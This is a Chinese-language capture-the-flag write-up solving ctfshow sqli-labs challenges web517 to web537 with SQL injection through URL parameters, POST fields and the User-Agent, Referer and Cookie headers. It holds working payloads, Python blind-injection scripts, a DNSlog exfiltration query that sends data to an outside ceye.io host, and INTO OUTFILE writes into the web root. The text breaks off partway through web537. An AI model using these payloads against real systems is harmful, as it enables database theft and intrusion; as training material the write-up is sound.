Ctfshow web入门 sqli-labs特性篇 web517-web568 详细题解 全

news2024/11/19 1:43:29

web517

输入?id=1 正常
输入?id=1'  报错 ' .0 ' 
输入?id=1'--+ 正常

判断是字符型注入,闭合方式是'

这里插一句。limit 100,1是从第100条数据开始,读取1条数据。limit 6是读取前6条数据。

?id=1' order by 3--+   正常

判断回显位有三个。
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+

爆出表是 flag
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+

爆出列是id,flag
?id=1' and 1=2 union select 1,2,group_concat(flag) from ctfshow.flag--+

image-20230419132615081

web518

?id=1  正常
?id=1"  报错 ' " LIMIT 0,1 '
?id=1--+  正常

判断是数字型注入
?id=1 order by 3--+   正常

判断回显位有三个。
?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
?id=1 and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+

爆出表是 flagaa
?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagaa'--+

爆出列是id,flagac
?id=1 and 1=2 union select 1,2,group_concat(flagac) from ctfshow.flagaa--+

image-20230419133659637

web519

?id=1  正常
?id=1"  正常
?id=2"  正常
?id=1"--+  正常
?id=;/';[]'    报错 ' ;/';[]'') LIMIT 0,1 '
           
判断是字符型注入,闭合方式是')
?id=1') order by 3--+   正常

判断回显位有三个。
?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
?id=1') and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+

爆出表是 flagaanec
?id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagaanec'--+

爆出列是id,flagaca
?id=1') and 1=2 union select 1,2,group_concat(flagaca) from ctfshow.flagaanec--+

image-20230419140229318

web520

?id=1  正常
?id=2-1  回显和id=2一样,不是数字型
?id=1'  正常
?id=1"   报错'"1"") LIMIT 0,1' 
           
判断是字符型注入,闭合方式是")
?id=1") order by 3--+   正常

判断回显位有三个。
?id=1") and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
?id=1") and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+

爆出表是 flagsf
?id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagsf'--+

爆出列是id,flag23
?id=1") and 1=2 union select 1,2,group_concat(flag23) from ctfshow.flagsf--+

image-20230419142402444

web521

?id=1  回显You are in...........
?id=2-1  回显You are in...........
?id=1'  回显'  '1'' LIMIT 0,1  '
           
判断是字符型,'闭合。
?id=1'order by 3--+    //页面显示正常

报错注入

爆数据库名:
?id=1' and updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),0,99),3) --+ 

//ctfshow、********
分解一下我的payload

?id=1' and updatexml(//报错注入函数
	1,substring(           //第一个回显位    //字符串截取函数
		concat( //一起抓
			0x7e,(                //两个小尾巴 ~
				select group_concat(schema_name) from information_schema.schemata     //核心选择语句
			),0x7e                //两个小尾巴 ~
		),0,99             //从0开始截取99个字符(虽然他最多只能返回30个左右)
	),3                 /第三个回显位 
) --+ 
爆数据库表名:
?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="ctfshow") ,0x7e),3)--+

//flagpuck
爆字段名:
?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flagpuck") ,0x7e),3)--+

//id,flag33
爆数据值:
?id=1' union select updatexml(1,concat(0x7e, left((select(group_concat(flag33)) from ctfshow.flagpuck) ,25),0x7e),3)--+               //ctfshow{f57273b3-1c84-489
?id=1' union select updatexml(1,concat(0x7e, right((select(group_concat(flag33)) from ctfshow.flagpuck) ,25),0x7e),3)--+               //4-489b-a51a-6e8e1ea28ba3}

image-20230421204144630

绕过字符串返回长度限制。

1、left(201809,4)截取左边的4个字符
SELECT LEFT(201809,4)    //结果:2018

2、right(name,2)截取右边的2个字符
SELECT RIGHT(201809,2)    //结果:09

3、SUBSTRING(name,5,3) 截取name这个字段 从第五个字符开始 只截取之后的3个字符
SELECT SUBSTRING('成都融资事业部',5,3)   //结果:事业部

4、SUBSTRING(name,3) 截取name这个字段 从第三个字符开始,之后的所有个字符
SELECT SUBSTRING('成都融资事业部',3)   //结果:融资事业部

5、SUBSTRING(name, -4) 截取name这个字段的第 4 个字符位置(倒数)开始取,直到结束
SELECT SUBSTRING('成都融资事业部',-4)   //结果:资事业部

6、SUBSTRING(name, -4,2) 截取name这个字段的第 4 个字符位置(倒数)开始取,只截取之后的2个字符
SELECT SUBSTRING('成都融资事业部',-4,2)   //结果:资事
注意:我们注意到在函数 substring(str,pos, len)中, pos 可以是负值,但 len 不能取负值。

7、substring_index('www.baidu.com', '.', 2) 截取第二个 '.' 之前的所有字符
SELECT substring_index('www.baidu.com', '.', 2)   //结果:www.baidu

8、substring_index('www.baidu.com', '.', -2) 截取第二个 '.' (倒数)之后的所有字符
SELECT substring_index('www.baidu.com', '.', -2)   //结果:baidu.com

9、SUBSTR(name, 1, CHAR_LENGTH(name)-3) 截取name字段,取除name字段后三位的所有字符
SELECT SUBSTR('成都融资事业部', 1, CHAR_LENGTH('成都融资事业部')-3)            //结果:成都融资

10、mid(str,start,[length])
str:截取的字符串   start:起始位置   length:截取的长度,可以忽略

//未来的徒弟们,虽然我一直都是帮你们搜齐了信息,但是具备自己的信息搜集能力还是非常的重要滴。未来的路还很长,师傅陪不了你们多久唉~

盲注

布尔和时间都可以的。

image-20230421231855123

image-20230421231652282

web522

闭合换成了"。其他和上题一样。

ctfshow–>flagpa–>flag3a3–>

image-20230421232559152

web523

?id=1                  You are in.... Use outfile......提示用文件
?id=1'''''             回显You have an error in your SQL syntax,不告诉我们哪里错了,看不见闭合
?id=1'--+              回显You have an error in your SQL syntax
...
...
...
?id=1'))--+            You are in.... Use outfile......  

说明是字符型注入闭合是   '))

测一下回显位

?id=1')) order by 3--+   回显正常  You are in.... Use outfile......

判断回显位有三个。

布尔盲注还是能用。不过这次我们换个方法。

它提示Use outfile......

一、DNSlog外带注入

sqli-labs-master 过关 1-10 (附解题思路及各注入方法解析)_第2关:联合查询注入之字符串注入答案_源十三的博客-CSDN博客

DNSlog注入踩坑记录: - 知乎 (zhihu.com)

DNSlog注入详细解析 - FreeBuf网络安全行业门户

DNSlog注入学习 - Lushun - 博客园 (cnblogs.com)

DNSlog注入踩坑记录: - 知乎 (zhihu.com)

DNSlog注入_dnslog dvwa_super 硕的博客-CSDN博客

DNSlog外带注入

需要条件:

  1. MySQL 开启 load_file ()
  2. DNSLog 平台 (Hyuga、CEYE)
  3. Windows 平台

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能获取数据库中的值,在现代WAF的防护下很可能导致IP被ban。

我们可以利用内置函数load_file()来完成DNSlog。load_file()不仅能加载本地文件,同时也能对诸如 \www.test.com 这样的URL发起请求。

示例:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(payload)),'.DNSlog获取的网址\\abc'));

条件:
1、SQL盲注、无回显的命令执行、无回显的SSRF
2、只能用于windows系统
3、需要用到mysql中的load_file()函数,在Mysql中,load_file()函数读取一个文件并将其内容作为字符串返回。(不绝对,仅仅只是列举了mysql数据库的函数)

注意:
1、每次最多取63字节
2、DNSlog网址前的 . 必不可少

补充:

load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径。

其实我们平常在 Widnows 中用共享文件的时候就会用到这种网络地址的形式

\\192.168.31.53\test\

CONCAT() 函数拼接了 4 个 \ 了,因为转义的原因,4 个就变 \ 成了 2 个 \,目的就是利用 UNC 路径。

因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。


首先准备好DNSlog外带平台。

image-20230717152547493

ctfshow:payload:暂无,一个都没试验出来。

猜测是这里ctfshow把环境部署到了Linux下,DNSlog注入,windows才能用。

那就用本地部署的环境吧:

先去phpstudy的MySQL目录下修改配置文件my.ini。记得重启

secure_file_priv=""就是可以load_flie任意磁盘的文件。

image-20230718170133551

原理就是’\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。\\\\转义后就是\\

通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。
show variables like '%secure%';查看load_file()可以读取的磁盘。

payload:

?id=-1')) union SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(database())),'.m8rwsy.ceye.io\\abc')),2,3--+

image-20230718171255930

可以看到当前数据库名称的十六进制是7365637572697479。解码一下是security,DNSlog注入复现成功!

image-20230718171503023

原理验证:

在物理机文件夹下访问网络资源,进行实验,实验编号为1。

\\SHIYAN1.m8rwsy.ceye.io\abc

Windows提示无法访问。

但是CEYE网站上已经有解析记录了。

他甚至帮我把大小写都试了一遍。

image-20230718165107086

二、写入文件

payload:

?id=-1')) or if((select load_file(concat('\\\\',(select database()),'r.m8rwsy.ceye.io\\abc'))),2,3)--+

遗憾的是flag在数据库里面,命令执行出不来的。

image-20230717160609335

那就重新进行SQL注入,把得到的结果写入文件中。


爆库: ctfshow

?id=1')) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile "/var/www/html/1.txt"--+

image-20230717164007309


爆表: flagdk (虽然报错了,说我语句有问题,但是还是成功写入文件了)

?id=1')) union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow' into outfile "/var/www/html/2.txt"--+ 

image-20230717164210950


爆列: flag43

?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile "/var/www/html/3.txt"--+ 

image-20230717164701851


获取字段值(flag):ctfshow{fecd6411-08f9-435e-b9b9-71b88ae8cd1f}

?id=1')) union select 1,2,group_concat(flag43) from ctfshow.flagdk into outfile "/var/www/html/4.txt"--+ 

image-20230717164844113

web524

?id=1                  You are in.... 
?id=1'''''             无回显,看不见报错
?id=1'--+              无回显,看不见报错
...
...
...
?id=1"--+              You are in....,双引号闭合

说明是字符型注入闭合是  "

测一下回显位

?id=1" order by 1--+   回显正常  You are in....
?id=1" order by 2--+   回显正常  You are in....
?id=1" order by 3--+   回显正常  You are in....

判断不了回显位,后来盲注脚本用的时候也不需要。

其实第八关和第五关一样。只不过第八关没有报错信息,但是有you are in…进行参照,可以盲注。也可以和第七关一样DNSlog外带、写入文件。

库:ctfshow

表:flagjugg

列:flag423

flag:ctfshow{29601c89-0291-4efd-af8a-15918e766d17}

image-20230717170952602

web525

?id=1                  You are in.... 
?id=1'''''             You are in.... 
?id=1""""))))          You are in.... 
?id=1'--+              You are in....
...
...
...
啥都是You are in....(也算是得用时间盲注的一个标志)

判断不了闭合和位数

发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以考虑使用时间盲注。以下是源十三大师傅的总结:

             基于时间的注入(延时注入)(Time-based blind SQl injection)

             1. Time-based blind SQL injection
                2.利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但
                是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
                3.优点:不需要显示位,不需要报错信息。
                4.缺点:速度慢,耗费大量时间
                5.用法:IF(Condition,A,B)函数
                当Condition为TRUE时,返回A;否则返回B。     
                6.示例:	SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);     

还是先判断回显位。

?id=1' and sleep(3) --+          有明显延迟
?id=1" and sleep(3) --+          无延迟
?id=1') and sleep(3) --+         无延迟

说明这里的闭合是单引号。   位数暂时不判断了,用脚本的话不需要位数

直接上时间盲注的脚本:

import requests
import time
 
s = requests.session()          #创建session对象后,才可以调用对应的方法发送请求。
url = 'http://fff9f4b8-f0ad-4c2a-b499-2ee73acc6720.challenge.ctf.show/?id='
flag = ''
i = 0
while True:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
        # 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))--+'
        # 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'

        # 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctfshow\')),{i},1))>{mid},1,sleep(3))--+'
        # 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flagug")),{i},1))>{mid},1,sleep(3))--+'
        # 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
        payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'

        stime = time.time()
        url1 = url + payload
        r = s.get(url=url1)
        r.encoding = "utf-8"
        # print(payload)
        if time.time() - stime < 2:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)

库:ctfshow

表:flagug

列:flag4a23

字段(flag):ctfshow{cda8c580-9263-4ddf-8288-6e747eec7994}

image-20230717173517759

web526

和第九关一样都是时间盲注,唯一不同的是闭合是双引号"

库:ctfshow

表:flagugs

列:flag43s

字段(flag):ctfshow{abac3313-fd0d-4402-a42c-43770ac32739}

image-20230717210726542

web527

这下变成POST注入了,还是双参数。

image-20230717210838961

抓个包看看先:

image-20230717210917872

注入点应该是admin。

查看一下本地环境中,这题的源码。

image-20230717211051321

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

闭合是单引号'。位数是2.


爆库: ctfshow

uname=xxx' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit

image-20230717211327060


爆表: flagugsd

uname=xxx' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+&passwd=123456&submit=Submit

image-20230717211428890


爆列: flag43s

uname=xxx' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsd'--+&passwd=123456&submit=Submit

image-20230717211538490


获取字段值(flag):

ctfshow{d7bf0480-8156-479b-9f97-4fbeb89233db}

uname=xxx' and 1=2 union select 1,group_concat(flag43s) from ctfshow.flagugsd--+&passwd=123456&submit=Submit

image-20230717211709373

web528

同第十一关(web527)

uname=1' --+             回显图片,内容是登录失败
uname=1" --+             语法错误报错,报错无有用信息
uname=1') --+            回显图片,内容是登录失败
uname=1") --+            回显图片,内容是登录失败
uname=1"()))))) --+      报错,near '()))))) -- ") and password=("123456") LIMIT 0,1' at line 1

从报错的password可以看出来,闭合是")  。

测一下回显位

uname=1") order by 3--+   报错Unknown column '3' in 'order clause'

uname=1") order by 2--+   不报错
uname=1") order by 1--+   不报错

uname=1") order by 4--+   报错Unknown column '3' in 'order clause'

uname=1") order by 0--+   报错Unknown column '3' in 'order clause'

测不出回显位,估计是2。


爆库: ctfshow

uname=xxx") and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit

image-20230718100934743


爆表: flagugsds

uname=xxx") and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+&passwd=123456&submit=Submit

image-20230718101001208


爆列: flag43as

uname=xxx") and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsds'--+&passwd=123456&submit=Submit

image-20230718101013518


获取字段值(flag):

ctfshow{53259b6d-6d52-431a-9fef-a3add2393bb8}

uname=xxx") and 1=2 union select 1,group_concat(flag43as) from ctfshow.flagugsds--+&passwd=123456&submit=Submit

image-20230718101039538

web529

还是和之前一样的界面

image-20230718101426249

闭合和位数就不测了。闭合是')',位数是2。有报错信息,那我们就来巩固一下报错注入吧。


爆库: ctfshow

uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))))--+&passwd=123456&submit=Submit

image-20230718110824011


爆表:flag

uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'))))--+&passwd=123456&submit=Submit

image-20230718111104517


爆列:flag4

uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'))))--+&passwd=123456&submit=Submit

image-20230718111248650


获取字段(flag):ctfshow{9328fa92-cc6b-4bf8-9f1b-b9eb9536a064}

uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)))) --+&passwd=123456&submit=Submit

ctfshow{9328fa92-cc6b-4bf8-9f1b

image-20230718112011991

倒着读:

uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag)))) --+&passwd=123456&submit=Submit

image-20230718112001021

脚本逆序后为92-cc6b-4bf8-9f1b-b9eb9536a064}

web530

先测一下。

uname=admin'--           登录失败图片
uname=admin''''''''--    登录失败图片
uname=admin''''''''"""")))))   登录失败图片
uname=admin"""""""""  报错near '123456" LIMIT 0,1' at line 1
uname=1" or 1=1--           登录成功图片(flag.jpg)


所以闭合是双引号"

有报错咱可以报错注入,登陆成功于失败返回图片不一样,咱们也可以布尔盲注。

复习一下布尔盲注。直接贴脚本了。

import requests
import time

url = "http://43d7c6c4-a8ab-41f3-8e14-fc32c023ca20.challenge.ctf.show/"
payload = {
	"uname" : "",
	"passwd" : "123456",
	"submit" : "Submit"
}
result = ""
for i in range(1,100):
	l = 33
	r =130
	mid = (l+r)>>1
	while(l<r):
		# 跑库名
		#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})-- ".format(i, mid)

		# 跑表名
		#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctfshow'),{0},1))>{1})-- ".format(i, mid)

		# 跑列名
		#"-1\" or 0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'flagb'),{0},1))>{1})-- ".format(i,mid)

		#######################
		#"-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)

		payload["uname"] ="-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)

		html = requests.post(url,data=payload)
		print(payload)
		if "/images/flag.jpg" in html.text:
			l = mid+1
		else:
			r = mid
		mid = (l+r)>>1
	if(chr(mid)==" "):
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)

image-20230718120627447

脚本如果能自己写一遍,以及不同题目能熟练的更改脚本数据和盲注语句,个人觉得盲注就差不多了。

web531

还是一样的界面

image-20230718120857602

测试一下闭合:

1' or 1=1--            登录成功图片
1" or 1=1--            登录失败图片
1') or 1=1--           登录失败图片
1") or 1=1--           登录失败图片

所以闭合是单引号 '

测试一下回显位

1' order by 1--             登录失败图片
1' order by 2--             登录失败图片
1' order by 3--             登录失败图片
1' order by 4--             登录失败图片

测不了一点。但是应该是2,而且盲注不需要。

测试过程中发现不会报错,那只能用布尔盲注了。

image-20230718121725436

本地部署的sqlilabs里看一下源码:

image-20230718122039148

web532

类似第15关(web531)

测试一下闭合:

1' or 1=1--            登录失败图片
1" or 1=1--            登录失败图片
1') or 1=1--           登录失败图片
1") or 1=1--           登录成功图片

所以闭合是")

那就继续盲注,就不用测回显位了。

image-20230718174043641

web533

页面变成了修改密码。

image-20230718180332974

细细浏览一下本地源码。只看php了。

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value){
	if(!empty($value)){
		// truncation (see comments)
		$value = substr($value,0,15);
		}
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc()){
			$value = stripslashes($value);
		}
		// Quote if not a number
		if (!ctype_digit($value)){
			$value = "'" . mysql_real_escape_string($value) . "'";
		}
		else{
		$value = intval($value);
		}
	return $value;
	}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity          //查询语句
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);       //应该是上面一句语句的查询结果
$row = mysql_fetch_array($result);     //把查询结果变成一个无序数组
//echo $row;
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
	
		if (mysql_error())
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());          //返回报错信息!!!!!!!!
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;		
			echo "<br>";
			echo "</font>";
		}
	
		echo '<img src="../images/flag1.jpg"   />';	
		//echo 'Your Password:' .$row['password'];
  		echo "</font>";
	
  	}
	else  
	{
		echo '<font size="4.5" color="#FFFF00">';
		//echo "Bug off you Silly Dumb hacker";
		echo "</br>";
		echo '<img src="../images/slap1.jpg"   />';
		echo "</font>";  
	}
}
?>

可以看到这里进行查询的语句是"SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"
进行更改密码的语句是"UPDATE users SET password = '$passwd' WHERE username='$row1'"

总览代码全文,发现,虽然查询和更新语句我们能对更新语句(看下文)进行注入,但是,查询和更新语句的结果不会回显,说白了就是注了也白注。

但是也可以发现,代码是回给我们返回报错信息的,那我们就可以进行报错注入。

因为代码中$row$row1一定要存在,才能进行更新语句,并且能返回报错。所以用户名一定要存在,使查询语句返回数据(用户名:DUMB),以及我们不能从查询语句注入,只能从更新语句"UPDATE users SET password = '$passwd' WHERE username='$row1'"注入,并且注入点是$passwd

image-20230718195308320

很容易看出闭合是单引号',更新语句注入点前不是select语句,回显位可以不用管。

放一张我思维导图里面对报错注入的归整:

image-20230718194440565

payload我选择用extractvalue()函数


爆库: ctfshow

uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+&submit=Submit

image-20230718200556008


爆表: flag

uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e))--+&submit=Submit

image-20230718201001701


爆列: flag4

uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e))--+&submit=Submit

image-20230718201026351


获取字段值(flag):

uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e))--+&submit=Submit

ctfshow{941507ac-76cb-4733-8d0d

image-20230718201146390

倒着读:

uname=DUMB&passwd=123456' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e))--+&submit=Submit

}76f4a1ec66a1-d0d8-3374-bc67-ca,逆序一下是ac-76cb-4733-8d0d-1a66ce1a4f67}

image-20230718201250922


flag:ctfshow{941507ac-76cb-4733-8d0d-1a66ce1a4f67}

web534

可以很明显的看到,多了一行IP地址。

image-20230718203222773

账号密码都为DUMB时,登录成功,返回了U-A头,说明题目可能存在U-A头注入。

image-20230718204252154

之后就是和之前一样用报错注入了。


爆库: ctfshow

UA:
' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit

image-20230718204823856

【注意】这里的闭合是单引号,但是闭合方式不能在最后加个--空格或者--+或者#,只能利用好闭合的单引号,在最后加一个'1'='1


爆表: flag

UA:
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit

image-20230718205628576


爆列: flag4

UA:
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit

image-20230718205727492


获取字段值(flag):

UA:
' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit

也可以

UA:
' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#

POST:
uname=DUMB&passwd=DUMB&submit=Submit

ctfshow{527472d7-4d43-494e-823f

image-20230718205833073

倒着读:

UA:
' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit

}d88f79246a6d-f328-e494-34d4-7d,逆序一下是d7-4d43-494e-823f-d6a64297f88d}

image-20230718205954636


flag:ctfshow{527472d7-4d43-494e-823f-d6a64297f88d}

web535

和上题差不多,U-A头注入变成Referer注入。闭合还是单引号'

image-20230718210215199

获取字段值(flag):

Referer:
' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit

也可以

UA:
' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#

POST:
uname=DUMB&passwd=DUMB&submit=Submit

ctfshow{f57e3a9a-b2ee-4627-addf

image-20230719132311016

倒着读:

UA:
' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB&submit=Submit

}5cd172bb2e2e-fdda-7264-ee2b-a9,逆序一下是9a-b2ee-4627-addf-e2e2bb271dc5}

image-20230719132350822


flag:ctfshow{f57e3a9a-b2ee-4627-addf-e2e2bb271dc5}

web536

先账号密码DUMB,DUMB登录试试。可以看见这里返回了很多信息,包括了自己的Cookie。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mb6sNCph-1690716086443)(C:\Users\86159\AppData\Roaming\Typora\typora-user-images\image-20230719133044028.png)]

在F12的Application里面查看一下自己的Cookie,确实是题目回显的Cookie。

image-20230719142426653

这里存在cookie注入,并且是'闭合

有点抽象并且不好理解,我们查看一下源码,看看他的SQL语句为什么会存在Cookie注入。


源码分析:

一、如果不存在COOKIE方式提交的uname变量。

image-20230719144054923

首先后台先对我们输入的账号密码进行检查,防止我们SQL注入。

image-20230719142550330

然后后台接收我们POST传参的账号密码,并且进行查询。

image-20230719142451051

如果有错误则会回显报错。看起来这里就有报错注入的可能性了。但是其实没有,因为有check,对我们输入的检查。所以我们输入报错注入语句是会被检查到的。我们无法利用这里的error返回数据库信息。

image-20230719144149447


二、如果存在COOKIE方式提交的uname变量。

image-20230719144349431

如果不存在POST提交的submit变量

image-20230719144448427

就会利用$cookee变量进行SQL语句查询,同时有错误则返回报错,那就存在了COOKIE为注入点的报错注入。

image-20230719144430312


获取字段值(flag):

Cookie:
uname=' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB

也可以

Cookie:
uname=' or updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag)),1),'','')#

POST:
uname=DUMB&passwd=DUMB

ctfshow{cec5545b-3a4e-45ef-b212

image-20230719144749891

倒着读:

Cookie:
uname=' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB

}123e9ea3ecbf-212b-fe54-e4a3-b5,逆序一下是5b-3a4e-45ef-b212-fbce3ae9e321}

image-20230719144823562


flag:ctfshow{cec5545b-3a4e-45ef-b212-fbce3ae9e321}

web537

和20关很像,先账号密码DUMB,DUMB登录试试。可以看见这里也返回了很多信息,包括了自己的Cookie。但是Cookie却是一串奇怪的字符串,看得出来这是bse64编码。

image-20230719145414741

解码一下Cookie试试。

image-20230719145756854

所以21关和20关的区别就在于Cookie加了一个base64编码。


获取字段值(flag):

Cookie:
uname=JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoZmxhZzQpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSkgYW5kICcxJz0nMQ==

//' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

POST:
uname=DUMB&passwd=DUMB

也可以

Cookie:
